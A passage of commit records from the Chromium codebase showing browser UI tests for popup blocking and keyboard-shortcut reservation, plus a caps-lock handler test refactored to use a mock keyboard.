3000));\n}\n\nTEST_F(BlockedPopupContainerInteractiveTest, BlockAlertFromBlockedPopup) {\n  NavigateMainTabTo(L\"block_alert.html\");\n\n  \/\/ Wait for there to be an app modal dialog (and fail if it's shown).\n  ASSERT_FALSE(automation()->WaitForAppModalDialog(4000));\n\n  \/\/ Ensure one browser window.\n  int browser_window_count;\n  ASSERT_TRUE(automation()->GetBrowserWindowCount(&browser_window_count));\n  ASSERT_EQ(1, browser_window_count);\n\n  \/\/ Ensure one blocked popup window: the popup didn't escape.\n  int popup_count = 0;\n  ASSERT_TRUE(tab_->GetBlockedPopupCount(&popup_count));\n  ASSERT_EQ(1, popup_count);\n}\n\nTEST_F(BlockedPopupContainerInteractiveTest, DISABLED_ShowAlertFromNormalPopup) {\n  NavigateMainTabTo(L\"show_alert.html\");\n  SimulateClickInCenterOf(window_);\n\n  ASSERT_TRUE(automation()->WaitForWindowCountToBecome(2, 5000));\n\n  scoped_refptr<BrowserProxy> popup_browser(automation()->GetBrowserWindow(1));\n  ASSERT_TRUE(popup_browser.get());\n  scoped_refptr<WindowProxy> popup_window(popup_browser->GetWindow());\n  ASSERT_TRUE(popup_window.get());\n  scoped_refptr<TabProxy> popup_tab(popup_browser->GetTab(0));\n  ASSERT_TRUE(popup_tab.get());\n\n  SimulateClickInCenterOf(popup_window);\n\n  \/\/ Wait for there to be an app modal dialog.\n  ASSERT_TRUE(automation()->WaitForAppModalDialog(5000));\n}\n\n\/\/ Make sure that window focus works while creating a popup window so that we\n\/\/ don't\nTEST_F(BlockedPopupContainerInteractiveTest, DISABLED_DontBreakOnBlur) {\n  NavigateMainTabTo(L\"window_blur_test.html\");\n  SimulateClickInCenterOf(window_);\n\n  \/\/ Wait for the popup window to open.\n  ASSERT_TRUE(automation()->WaitForWindowCountToBecome(2, 1000));\n\n  \/\/ We popup shouldn't be closed by the onblur handler.\n  ASSERT_FALSE(automation()->WaitForWindowCountToBecome(1, 1500));\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2006-2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <string>\n\n#include \"app\/l10n_util.h\"\n#include \"base\/file_path.h\"\n#include \"base\/gfx\/rect.h\"\n#include \"base\/keyboard_codes.h\"\n#include \"chrome\/browser\/view_ids.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/test\/automation\/automation_constants.h\"\n#include \"chrome\/test\/automation\/browser_proxy.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/automation\/window_proxy.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"grit\/generated_resources.h\"\n#include \"net\/base\/net_util.h\"\n#include \"views\/event.h\"\n\nclass BlockedPopupContainerInteractiveTest : public UITest {\n protected:\n  BlockedPopupContainerInteractiveTest() {\n    show_window_ = true;\n  }\n\n  virtual void SetUp() {\n    UITest::SetUp();\n\n    browser_ = automation()->GetBrowserWindow(0);\n    ASSERT_TRUE(browser_.get());\n\n    window_ = browser_->GetWindow();\n    ASSERT_TRUE(window_.get());\n\n    tab_ = browser_->GetTab(0);\n    ASSERT_TRUE(tab_.get());\n  }\n\n  void NavigateMainTabTo(const std::string& file_name) {\n    FilePath filename(test_data_directory_);\n    filename = filename.AppendASCII(\"constrained_files\");\n    filename = filename.AppendASCII(file_name);\n    ASSERT_TRUE(tab_->NavigateToURL(net::FilePathToFileURL(filename)));\n  }\n\n  void SimulateClickInCenterOf(const scoped_refptr<WindowProxy>& window) {\n    gfx::Rect tab_view_bounds;\n    ASSERT_TRUE(window->GetViewBounds(VIEW_ID_TAB_CONTAINER,\n                                      &tab_view_bounds, true));\n\n    \/\/ Simulate a click of the actual link to force user_gesture to be\n    \/\/ true; if we don't, the resulting popup will be constrained, which\n    \/\/ isn't what we want to test.\n    ASSERT_TRUE(window->SimulateOSClick(tab_view_bounds.CenterPoint(),\n                                        views::Event::EF_LEFT_BUTTON_DOWN));\n  }\n\n  scoped_refptr<BrowserProxy> browser_;\n  scoped_refptr<WindowProxy> window_;\n  scoped_refptr<TabProxy> tab_;\n};\n\nTEST_F(BlockedPopupContainerInteractiveTest, TestOpenAndResizeTo) {\n  NavigateMainTabTo(\"constrained_window_onload_resizeto.html\");\n  SimulateClickInCenterOf(window_);\n\n  ASSERT_TRUE(automation()->WaitForWindowCountToBecome(2, 1000));\n\n  scoped_refptr<BrowserProxy> popup_browser(automation()->GetBrowserWindow(1));\n  ASSERT_TRUE(popup_browser != NULL);\n  scoped_refptr<WindowProxy> popup_window(popup_browser->GetWindow());\n  ASSERT_TRUE(popup_window != NULL);\n\n  \/\/ Make sure we were created with the correct width and height.\n  gfx::Rect rect;\n  bool is_timeout = false;\n  ASSERT_TRUE(popup_window->GetViewBoundsWithTimeout(\n                  VIEW_ID_TAB_CONTAINER, &rect, false, 1000, &is_timeout));\n  ASSERT_FALSE(is_timeout);\n  EXPECT_EQ(300, rect.width());\n  EXPECT_EQ(320, rect.height());\n\n#if defined(OS_LINUX)\n  \/\/ It seems we have to wait a little bit for the widgets to spin up before\n  \/\/ we can start clicking on them.\n  PlatformThread::Sleep(500);\n#endif\n\n  SimulateClickInCenterOf(popup_window);\n\n  \/\/ No idea how to wait here other then sleeping. This timeout used to be\n  \/\/ lower, then we started hitting it before it was done. :(\n  PlatformThread::Sleep(5000);\n\n  \/\/ The actual content will be LESS than (200, 200) because resizeTo\n  \/\/ deals with a window's outer{Width,Height} instead of its\n  \/\/ inner{Width,Height}.\n  is_timeout = false;\n  ASSERT_TRUE(popup_window->GetViewBoundsWithTimeout(\n                 VIEW_ID_TAB_CONTAINER, &rect, false, 1000, &is_timeout));\n  ASSERT_FALSE(is_timeout);\n  EXPECT_LT(rect.height(), 200);\n#if defined(OS_LINUX)\n  \/\/ On Linux we may run in an environment where there is no window frame. In\n  \/\/ this case our width might be exactly 200. The height will still be less\n  \/\/ because we have to show the location bar.\n  EXPECT_LE(rect.width(), 200);\n#else\n  EXPECT_LT(rect.width(), 200);\n#endif\n}\n\n\/\/ Helper function used to get the number of blocked popups out of the window\n\/\/ title.\nbool ParseCountOutOfTitle(const std::wstring& title, int* output) {\n  \/\/ Since we will be reading the number of popup windows open by grabbing the\n  \/\/ number out of the window title, and that format string is localized, we\n  \/\/ need to find out the offset into that string.\n  const wchar_t* placeholder = L\"XXXX\";\n  size_t offset =\n      l10n_util::GetStringF(IDS_POPUPS_BLOCKED_COUNT, placeholder).\n      find(placeholder);\n\n  std::wstring number;\n  while (offset < title.size() && iswdigit(title[offset])) {\n    number += title[offset];\n    offset++;\n  }\n\n  return StringToInt(WideToUTF16(number), output);\n}\n\n\/\/ Tests that in the window.open() equivalent of a fork bomb, we stop building\n\/\/ windows.\nTEST_F(BlockedPopupContainerInteractiveTest, DontSpawnEndlessPopups) {\n  NavigateMainTabTo(\"infinite_popups.html\");\n  SimulateClickInCenterOf(window_);\n\n  ASSERT_TRUE(automation()->WaitForWindowCountToBecome(2, 1000));\n\n  scoped_refptr<BrowserProxy> popup_browser(automation()->GetBrowserWindow(1));\n  ASSERT_TRUE(popup_browser.get());\n  scoped_refptr<TabProxy> popup_tab(popup_browser->GetTab(0));\n  ASSERT_TRUE(popup_tab.get());\n\n  \/\/ And now we spin, waiting to make sure that we don't spawn popup\n  \/\/ windows endlessly. The current limit is 25, so allowing for possible race\n  \/\/ conditions and one off errors, don't break out until we go over 30 popup\n  \/\/ windows (in which case we are bork bork bork).\n  const int kMaxPopupWindows = 30;\n\n  int popup_window_count = 0;\n  int new_popup_window_count = 0;\n  int times_slept = 0;\n  bool continuing = true;\n  while (continuing && popup_window_count < kMaxPopupWindows) {\n    ASSERT_TRUE(popup_tab->GetBlockedPopupCount(&new_popup_window_count));\n    if (new_popup_window_count == popup_window_count) {\n      if (times_slept == 10) {\n        continuing = false;\n      } else {\n        \/\/ Nothing intereseting is going on wait it out.\n        PlatformThread::Sleep(automation::kSleepTime);\n        times_slept++;\n      }\n    } else {\n      times_slept = 0;\n    }\n\n    EXPECT_GE(new_popup_window_count, popup_window_count);\n    EXPECT_LE(new_popup_window_count, kMaxPopupWindows);\n    popup_window_count = new_popup_window_count;\n  }\n}\n\n\/\/ Make sure that we refuse to close windows when a constrained popup is\n\/\/ displayed.\nTEST_F(BlockedPopupContainerInteractiveTest, FLAKY_WindowOpenWindowClosePopup) {\n  NavigateMainTabTo(\"openclose_main.html\");\n  SimulateClickInCenterOf(window_);\n\n  ASSERT_TRUE(automation()->WaitForWindowCountToBecome(2, 5000));\n\n  \/\/ Make sure we have a blocked popup notification\n  scoped_refptr<BrowserProxy> popup_browser(automation()->GetBrowserWindow(1));\n  ASSERT_TRUE(popup_browser.get());\n  scoped_refptr<WindowProxy> popup_window(popup_browser->GetWindow());\n  ASSERT_TRUE(popup_window.get());\n  scoped_refptr<TabProxy> popup_tab(popup_browser->GetTab(0));\n  ASSERT_TRUE(popup_tab.get());\n  ASSERT_TRUE(popup_tab->WaitForBlockedPopupCountToChangeTo(1, 1000));\n\n  \/\/ Ensure we didn't close the first popup window.\n  ASSERT_FALSE(automation()->WaitForWindowCountToBecome(1, 3000));\n}\n\nTEST_F(BlockedPopupContainerInteractiveTest, BlockAlertFromBlockedPopup) {\n  NavigateMainTabTo(\"block_alert.html\");\n\n  \/\/ Wait for there to be an app modal dialog (and fail if it's shown).\n  ASSERT_FALSE(automation()->WaitForAppModalDialog(4000));\n\n  \/\/ Ensure one browser window.\n  int browser_window_count;\n  ASSERT_TRUE(automation()->GetBrowserWindowCount(&browser_window_count));\n  ASSERT_EQ(1, browser_window_count);\n\n  \/\/ Ensure one blocked popup window: the popup didn't escape.\n  int popup_count = 0;\n  ASSERT_TRUE(tab_->GetBlockedPopupCount(&popup_count));\n  ASSERT_EQ(1, popup_count);\n}\n\nTEST_F(BlockedPopupContainerInteractiveTest, ShowAlertFromNormalPopup) {\n  NavigateMainTabTo(\"show_alert.html\");\n  SimulateClickInCenterOf(window_);\n\n  ASSERT_TRUE(automation()->WaitForWindowCountToBecome(2, 5000));\n\n  scoped_refptr<BrowserProxy> popup_browser(automation()->GetBrowserWindow(1));\n  ASSERT_TRUE(popup_browser.get());\n  scoped_refptr<WindowProxy> popup_window(popup_browser->GetWindow());\n  ASSERT_TRUE(popup_window.get());\n  scoped_refptr<TabProxy> popup_tab(popup_browser->GetTab(0));\n  ASSERT_TRUE(popup_tab.get());\n\n#if defined(OS_LINUX)\n  \/\/ It seems we have to wait a little bit for the widgets to spin up before\n  \/\/ we can start clicking on them.\n  PlatformThread::Sleep(500);\n#endif\n\n  SimulateClickInCenterOf(popup_window);\n\n  \/\/ Wait for there to be an app modal dialog.\n  ASSERT_TRUE(automation()->WaitForAppModalDialog(5000));\n}\n\n\/\/ Make sure that window focus works while creating a popup window so that we\n\/\/ don't\nTEST_F(BlockedPopupContainerInteractiveTest, DontBreakOnBlur) {\n  NavigateMainTabTo(\"window_blur_test.html\");\n  SimulateClickInCenterOf(window_);\n\n  \/\/ Wait for the popup window to open.\n  ASSERT_TRUE(automation()->WaitForWindowCountToBecome(2, 1000));\n\n  \/\/ We popup shouldn't be closed by the onblur handler.\n  ASSERT_FALSE(automation()->WaitForWindowCountToBecome(1, 1500));\n}\n\n\/\/ Tests that tab related keyboard accelerators are reserved by the app.\n\nclass BrowserInteractiveTest : public UITest {\n};\n\nTEST_F(BrowserInteractiveTest, ReserveKeyboardAccelerators) {\n  const std::string kBadPage =\n      \"<html><script>\"\n      \"document.onkeydown = function() {\"\n      \"  event.preventDefault();\"\n      \"  return false;\"\n      \"}\"\n      \"<\/script><\/html>\";\n  scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n  browser->AppendTab(GURL(\"data:text\/html,\" + kBadPage));\n  int tab_count = 0;\n  ASSERT_TRUE(browser->GetTabCount(&tab_count));\n  ASSERT_EQ(tab_count, 2);\n\n  int active_tab = 0;\n  ASSERT_TRUE(browser->GetActiveTabIndex(&active_tab));\n  ASSERT_EQ(active_tab, 1);\n\n  scoped_refptr<WindowProxy> window(browser->GetWindow());\n  ASSERT_TRUE(window->SimulateOSKeyPress(\n      base::VKEY_TAB, views::Event::EF_CONTROL_DOWN));\n  ASSERT_TRUE(browser->WaitForTabToBecomeActive(0, action_max_timeout_ms()));\n\n#if !defined(OS_MACOSX)  \/\/ see BrowserWindowCocoa::GetCommandId\n  ASSERT_TRUE(browser->ActivateTab(1));\n  ASSERT_TRUE(window->SimulateOSKeyPress(\n      base::VKEY_W, views::Event::EF_CONTROL_DOWN));\n  ASSERT_TRUE(browser->WaitForTabCountToBecome(1, action_max_timeout_ms()));\n#endif\n}\n<commit_msg>Mark BlockedPopupContainerInteractiveTest.DontSpawnEndlessPopups as FLAKY.<commit_after>\/\/ Copyright (c) 2006-2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include <string>\n\n#include \"app\/l10n_util.h\"\n#include \"base\/file_path.h\"\n#include \"base\/gfx\/rect.h\"\n#include \"base\/keyboard_codes.h\"\n#include \"chrome\/browser\/view_ids.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/test\/automation\/automation_constants.h\"\n#include \"chrome\/test\/automation\/browser_proxy.h\"\n#include \"chrome\/test\/automation\/tab_proxy.h\"\n#include \"chrome\/test\/automation\/window_proxy.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"grit\/generated_resources.h\"\n#include \"net\/base\/net_util.h\"\n#include \"views\/event.h\"\n\nclass BlockedPopupContainerInteractiveTest : public UITest {\n protected:\n  BlockedPopupContainerInteractiveTest() {\n    show_window_ = true;\n  }\n\n  virtual void SetUp() {\n    UITest::SetUp();\n\n    browser_ = automation()->GetBrowserWindow(0);\n    ASSERT_TRUE(browser_.get());\n\n    window_ = browser_->GetWindow();\n    ASSERT_TRUE(window_.get());\n\n    tab_ = browser_->GetTab(0);\n    ASSERT_TRUE(tab_.get());\n  }\n\n  void NavigateMainTabTo(const std::string& file_name) {\n    FilePath filename(test_data_directory_);\n    filename = filename.AppendASCII(\"constrained_files\");\n    filename = filename.AppendASCII(file_name);\n    ASSERT_TRUE(tab_->NavigateToURL(net::FilePathToFileURL(filename)));\n  }\n\n  void SimulateClickInCenterOf(const scoped_refptr<WindowProxy>& window) {\n    gfx::Rect tab_view_bounds;\n    ASSERT_TRUE(window->GetViewBounds(VIEW_ID_TAB_CONTAINER,\n                                      &tab_view_bounds, true));\n\n    \/\/ Simulate a click of the actual link to force user_gesture to be\n    \/\/ true; if we don't, the resulting popup will be constrained, which\n    \/\/ isn't what we want to test.\n    ASSERT_TRUE(window->SimulateOSClick(tab_view_bounds.CenterPoint(),\n                                        views::Event::EF_LEFT_BUTTON_DOWN));\n  }\n\n  scoped_refptr<BrowserProxy> browser_;\n  scoped_refptr<WindowProxy> window_;\n  scoped_refptr<TabProxy> tab_;\n};\n\nTEST_F(BlockedPopupContainerInteractiveTest, TestOpenAndResizeTo) {\n  NavigateMainTabTo(\"constrained_window_onload_resizeto.html\");\n  SimulateClickInCenterOf(window_);\n\n  ASSERT_TRUE(automation()->WaitForWindowCountToBecome(2, 1000));\n\n  scoped_refptr<BrowserProxy> popup_browser(automation()->GetBrowserWindow(1));\n  ASSERT_TRUE(popup_browser != NULL);\n  scoped_refptr<WindowProxy> popup_window(popup_browser->GetWindow());\n  ASSERT_TRUE(popup_window != NULL);\n\n  \/\/ Make sure we were created with the correct width and height.\n  gfx::Rect rect;\n  bool is_timeout = false;\n  ASSERT_TRUE(popup_window->GetViewBoundsWithTimeout(\n                  VIEW_ID_TAB_CONTAINER, &rect, false, 1000, &is_timeout));\n  ASSERT_FALSE(is_timeout);\n  EXPECT_EQ(300, rect.width());\n  EXPECT_EQ(320, rect.height());\n\n#if defined(OS_LINUX)\n  \/\/ It seems we have to wait a little bit for the widgets to spin up before\n  \/\/ we can start clicking on them.\n  PlatformThread::Sleep(500);\n#endif\n\n  SimulateClickInCenterOf(popup_window);\n\n  \/\/ No idea how to wait here other then sleeping. This timeout used to be\n  \/\/ lower, then we started hitting it before it was done. :(\n  PlatformThread::Sleep(5000);\n\n  \/\/ The actual content will be LESS than (200, 200) because resizeTo\n  \/\/ deals with a window's outer{Width,Height} instead of its\n  \/\/ inner{Width,Height}.\n  is_timeout = false;\n  ASSERT_TRUE(popup_window->GetViewBoundsWithTimeout(\n                 VIEW_ID_TAB_CONTAINER, &rect, false, 1000, &is_timeout));\n  ASSERT_FALSE(is_timeout);\n  EXPECT_LT(rect.height(), 200);\n#if defined(OS_LINUX)\n  \/\/ On Linux we may run in an environment where there is no window frame. In\n  \/\/ this case our width might be exactly 200. The height will still be less\n  \/\/ because we have to show the location bar.\n  EXPECT_LE(rect.width(), 200);\n#else\n  EXPECT_LT(rect.width(), 200);\n#endif\n}\n\n\/\/ Helper function used to get the number of blocked popups out of the window\n\/\/ title.\nbool ParseCountOutOfTitle(const std::wstring& title, int* output) {\n  \/\/ Since we will be reading the number of popup windows open by grabbing the\n  \/\/ number out of the window title, and that format string is localized, we\n  \/\/ need to find out the offset into that string.\n  const wchar_t* placeholder = L\"XXXX\";\n  size_t offset =\n      l10n_util::GetStringF(IDS_POPUPS_BLOCKED_COUNT, placeholder).\n      find(placeholder);\n\n  std::wstring number;\n  while (offset < title.size() && iswdigit(title[offset])) {\n    number += title[offset];\n    offset++;\n  }\n\n  return StringToInt(WideToUTF16(number), output);\n}\n\n\/\/ Tests that in the window.open() equivalent of a fork bomb, we stop building\n\/\/ windows.\n\/\/ Flaky, http:\/\/crbug.com\/26692.\nTEST_F(BlockedPopupContainerInteractiveTest, FLAKY_DontSpawnEndlessPopups) {\n  NavigateMainTabTo(\"infinite_popups.html\");\n  SimulateClickInCenterOf(window_);\n\n  ASSERT_TRUE(automation()->WaitForWindowCountToBecome(2, 1000));\n\n  scoped_refptr<BrowserProxy> popup_browser(automation()->GetBrowserWindow(1));\n  ASSERT_TRUE(popup_browser.get());\n  scoped_refptr<TabProxy> popup_tab(popup_browser->GetTab(0));\n  ASSERT_TRUE(popup_tab.get());\n\n  \/\/ And now we spin, waiting to make sure that we don't spawn popup\n  \/\/ windows endlessly. The current limit is 25, so allowing for possible race\n  \/\/ conditions and one off errors, don't break out until we go over 30 popup\n  \/\/ windows (in which case we are bork bork bork).\n  const int kMaxPopupWindows = 30;\n\n  int popup_window_count = 0;\n  int new_popup_window_count = 0;\n  int times_slept = 0;\n  bool continuing = true;\n  while (continuing && popup_window_count < kMaxPopupWindows) {\n    ASSERT_TRUE(popup_tab->GetBlockedPopupCount(&new_popup_window_count));\n    if (new_popup_window_count == popup_window_count) {\n      if (times_slept == 10) {\n        continuing = false;\n      } else {\n        \/\/ Nothing intereseting is going on wait it out.\n        PlatformThread::Sleep(automation::kSleepTime);\n        times_slept++;\n      }\n    } else {\n      times_slept = 0;\n    }\n\n    EXPECT_GE(new_popup_window_count, popup_window_count);\n    EXPECT_LE(new_popup_window_count, kMaxPopupWindows);\n    popup_window_count = new_popup_window_count;\n  }\n}\n\n\/\/ Make sure that we refuse to close windows when a constrained popup is\n\/\/ displayed.\nTEST_F(BlockedPopupContainerInteractiveTest, FLAKY_WindowOpenWindowClosePopup) {\n  NavigateMainTabTo(\"openclose_main.html\");\n  SimulateClickInCenterOf(window_);\n\n  ASSERT_TRUE(automation()->WaitForWindowCountToBecome(2, 5000));\n\n  \/\/ Make sure we have a blocked popup notification\n  scoped_refptr<BrowserProxy> popup_browser(automation()->GetBrowserWindow(1));\n  ASSERT_TRUE(popup_browser.get());\n  scoped_refptr<WindowProxy> popup_window(popup_browser->GetWindow());\n  ASSERT_TRUE(popup_window.get());\n  scoped_refptr<TabProxy> popup_tab(popup_browser->GetTab(0));\n  ASSERT_TRUE(popup_tab.get());\n  ASSERT_TRUE(popup_tab->WaitForBlockedPopupCountToChangeTo(1, 1000));\n\n  \/\/ Ensure we didn't close the first popup window.\n  ASSERT_FALSE(automation()->WaitForWindowCountToBecome(1, 3000));\n}\n\nTEST_F(BlockedPopupContainerInteractiveTest, BlockAlertFromBlockedPopup) {\n  NavigateMainTabTo(\"block_alert.html\");\n\n  \/\/ Wait for there to be an app modal dialog (and fail if it's shown).\n  ASSERT_FALSE(automation()->WaitForAppModalDialog(4000));\n\n  \/\/ Ensure one browser window.\n  int browser_window_count;\n  ASSERT_TRUE(automation()->GetBrowserWindowCount(&browser_window_count));\n  ASSERT_EQ(1, browser_window_count);\n\n  \/\/ Ensure one blocked popup window: the popup didn't escape.\n  int popup_count = 0;\n  ASSERT_TRUE(tab_->GetBlockedPopupCount(&popup_count));\n  ASSERT_EQ(1, popup_count);\n}\n\nTEST_F(BlockedPopupContainerInteractiveTest, ShowAlertFromNormalPopup) {\n  NavigateMainTabTo(\"show_alert.html\");\n  SimulateClickInCenterOf(window_);\n\n  ASSERT_TRUE(automation()->WaitForWindowCountToBecome(2, 5000));\n\n  scoped_refptr<BrowserProxy> popup_browser(automation()->GetBrowserWindow(1));\n  ASSERT_TRUE(popup_browser.get());\n  scoped_refptr<WindowProxy> popup_window(popup_browser->GetWindow());\n  ASSERT_TRUE(popup_window.get());\n  scoped_refptr<TabProxy> popup_tab(popup_browser->GetTab(0));\n  ASSERT_TRUE(popup_tab.get());\n\n#if defined(OS_LINUX)\n  \/\/ It seems we have to wait a little bit for the widgets to spin up before\n  \/\/ we can start clicking on them.\n  PlatformThread::Sleep(500);\n#endif\n\n  SimulateClickInCenterOf(popup_window);\n\n  \/\/ Wait for there to be an app modal dialog.\n  ASSERT_TRUE(automation()->WaitForAppModalDialog(5000));\n}\n\n\/\/ Make sure that window focus works while creating a popup window so that we\n\/\/ don't\nTEST_F(BlockedPopupContainerInteractiveTest, DontBreakOnBlur) {\n  NavigateMainTabTo(\"window_blur_test.html\");\n  SimulateClickInCenterOf(window_);\n\n  \/\/ Wait for the popup window to open.\n  ASSERT_TRUE(automation()->WaitForWindowCountToBecome(2, 1000));\n\n  \/\/ We popup shouldn't be closed by the onblur handler.\n  ASSERT_FALSE(automation()->WaitForWindowCountToBecome(1, 1500));\n}\n\n\/\/ Tests that tab related keyboard accelerators are reserved by the app.\n\nclass BrowserInteractiveTest : public UITest {\n};\n\nTEST_F(BrowserInteractiveTest, ReserveKeyboardAccelerators) {\n  const std::string kBadPage =\n      \"<html><script>\"\n      \"document.onkeydown = function() {\"\n      \"  event.preventDefault();\"\n      \"  return false;\"\n      \"}\"\n      \"<\/script><\/html>\";\n  scoped_refptr<BrowserProxy> browser(automation()->GetBrowserWindow(0));\n  browser->AppendTab(GURL(\"data:text\/html,\" + kBadPage));\n  int tab_count = 0;\n  ASSERT_TRUE(browser->GetTabCount(&tab_count));\n  ASSERT_EQ(tab_count, 2);\n\n  int active_tab = 0;\n  ASSERT_TRUE(browser->GetActiveTabIndex(&active_tab));\n  ASSERT_EQ(active_tab, 1);\n\n  scoped_refptr<WindowProxy> window(browser->GetWindow());\n  ASSERT_TRUE(window->SimulateOSKeyPress(\n      base::VKEY_TAB, views::Event::EF_CONTROL_DOWN));\n  ASSERT_TRUE(browser->WaitForTabToBecomeActive(0, action_max_timeout_ms()));\n\n#if !defined(OS_MACOSX)  \/\/ see BrowserWindowCocoa::GetCommandId\n  ASSERT_TRUE(browser->ActivateTab(1));\n  ASSERT_TRUE(window->SimulateOSKeyPress(\n      base::VKEY_W, views::Event::EF_CONTROL_DOWN));\n  ASSERT_TRUE(browser->WaitForTabCountToBecome(1, action_max_timeout_ms()));\n#endif\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/views\/ash\/caps_lock_handler.h\"\n#include \"chrome\/test\/base\/in_process_browser_test.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n\n#if defined(OS_CHROMEOS)\n#include \"chrome\/browser\/chromeos\/input_method\/xkeyboard.h\"\nusing namespace chromeos::input_method;\n#endif\n\nnamespace {\n\n#if defined(OS_CHROMEOS)\nclass DummyXKeyboard : public XKeyboard {\n public:\n  explicit DummyXKeyboard(bool initial_caps_lock_state)\n      : caps_lock_is_enabled_(initial_caps_lock_state) {}\n  virtual ~DummyXKeyboard() {}\n\n  \/\/ Overridden from chrome::input_method::XKeyboard:\n  virtual bool SetCurrentKeyboardLayoutByName(\n      const std::string& layout_name) OVERRIDE {\n    return true;\n  }\n  virtual bool RemapModifierKeys(const ModifierMap& modifier_map) OVERRIDE {\n    return true;\n  }\n  virtual bool ReapplyCurrentKeyboardLayout() OVERRIDE {\n    return true;\n  }\n  virtual void ReapplyCurrentModifierLockStatus() OVERRIDE {}\n  virtual void SetLockedModifiers(\n      ModifierLockStatus new_caps_lock_status,\n      ModifierLockStatus new_num_lock_status) OVERRIDE {}\n  virtual void SetNumLockEnabled(bool enable_num_lock) OVERRIDE {}\n  virtual void SetCapsLockEnabled(bool enable_caps_lock) OVERRIDE {\n    caps_lock_is_enabled_ = enable_caps_lock;\n  }\n  virtual bool NumLockIsEnabled() OVERRIDE {\n    return true;\n  }\n  virtual bool CapsLockIsEnabled() OVERRIDE {\n    return caps_lock_is_enabled_;\n  }\n  virtual std::string CreateFullXkbLayoutName(\n      const std::string& layout_name,\n      const ModifierMap& modifire_map) OVERRIDE {\n    return \"\";\n  }\n  virtual unsigned int GetNumLockMask() OVERRIDE {\n    return 0;\n  }\n  virtual void GetLockedModifiers(bool* out_caps_lock_enabled,\n                                  bool* out_num_lock_enabled) OVERRIDE {}\n\n private:\n  bool caps_lock_is_enabled_;\n\n  DISALLOW_COPY_AND_ASSIGN(DummyXKeyboard);\n};\n\nclass CapsLockHandlerTest : public InProcessBrowserTest {\n public:\n  CapsLockHandlerTest()\n      : initial_caps_lock_state_(false),\n        xkeyboard_(initial_caps_lock_state_) {\n  }\n  virtual void SetUp() OVERRIDE {\n    handler_.reset(new CapsLockHandler(&xkeyboard_));\n    \/\/ Force CapsLockHandler::HandleToggleCapsLock() to toggle the lock state.\n    handler_->set_is_running_on_chromeos_for_test(true);\n  }\n  virtual void TearDown() OVERRIDE {\n    handler_.reset();\n  }\n\n protected:\n  const bool initial_caps_lock_state_;\n  DummyXKeyboard xkeyboard_;\n  scoped_ptr<CapsLockHandler> handler_;\n\n  DISALLOW_COPY_AND_ASSIGN(CapsLockHandlerTest);\n};\n#endif\n\n}  \/\/ namespace\n\n#if defined(OS_CHROMEOS)\n\/\/ Check if HandleToggleCapsLock() really changes the lock state.\nIN_PROC_BROWSER_TEST_F(CapsLockHandlerTest, TestCapsLock) {\n  EXPECT_EQ(initial_caps_lock_state_, handler_->caps_lock_is_on_for_test());\n  EXPECT_TRUE(handler_->HandleToggleCapsLock());\n  EXPECT_EQ(!initial_caps_lock_state_, xkeyboard_.CapsLockIsEnabled());\n  handler_->OnCapsLockChange(!initial_caps_lock_state_);\n  EXPECT_EQ(!initial_caps_lock_state_, handler_->caps_lock_is_on_for_test());\n  EXPECT_TRUE(handler_->HandleToggleCapsLock());\n  handler_->OnCapsLockChange(initial_caps_lock_state_);\n  EXPECT_EQ(initial_caps_lock_state_, xkeyboard_.CapsLockIsEnabled());\n  EXPECT_EQ(initial_caps_lock_state_, handler_->caps_lock_is_on_for_test());\n}\n#endif\n<commit_msg>cleanup: Use MockXKeyboard in caps_lock_handler_browsertest.cc.<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/views\/ash\/caps_lock_handler.h\"\n#include \"chrome\/test\/base\/in_process_browser_test.h\"\n#include \"chrome\/test\/base\/ui_test_utils.h\"\n\n#if defined(OS_CHROMEOS)\n#include \"chrome\/browser\/chromeos\/input_method\/mock_xkeyboard.h\"\nusing namespace chromeos::input_method;\n#endif\n\nnamespace {\n\n#if defined(OS_CHROMEOS)\nclass CapsLockHandlerTest : public InProcessBrowserTest {\n public:\n  CapsLockHandlerTest()\n      : initial_caps_lock_state_(false) {\n  }\n  virtual void SetUp() OVERRIDE {\n    handler_.reset(new CapsLockHandler(&xkeyboard_));\n    \/\/ Force CapsLockHandler::HandleToggleCapsLock() to toggle the lock state.\n    handler_->set_is_running_on_chromeos_for_test(true);\n  }\n  virtual void TearDown() OVERRIDE {\n    handler_.reset();\n  }\n\n protected:\n  const bool initial_caps_lock_state_;\n  MockXKeyboard xkeyboard_;\n  scoped_ptr<CapsLockHandler> handler_;\n\n  DISALLOW_COPY_AND_ASSIGN(CapsLockHandlerTest);\n};\n#endif\n\n}  \/\/ namespace\n\n#if defined(OS_CHROMEOS)\n\/\/ Check if HandleToggleCapsLock() really changes the lock state.\nIN_PROC_BROWSER_TEST_F(CapsLockHandlerTest, TestCapsLock) {\n  EXPECT_EQ(initial_caps_lock_state_, handler_->caps_lock_is_on_for_test());\n  EXPECT_TRUE(handler_->HandleToggleCapsLock());\n  EXPECT_EQ(!initial_caps_lock_state_, xkeyboard_.CapsLockIsEnabled());\n  handler_->OnCapsLockChange(!initial_caps_lock_state_);\n  EXPECT_EQ(!initial_caps_lock_state_, handler_->caps_lock_is_on_for_test());\n  EXPECT_TRUE(handler_->HandleToggleCapsLock());\n  handler_->OnCapsLockChange(initial_caps_lock_state_);\n  EXPECT_EQ(initial_caps_lock_state_, xkeyboard_.CapsLockIsEnabled());\n  EXPECT_EQ(initial_caps_lock_state_, handler_->caps_lock_is_on_for_test());\n}\n#endif\n<|endoftext|>"}
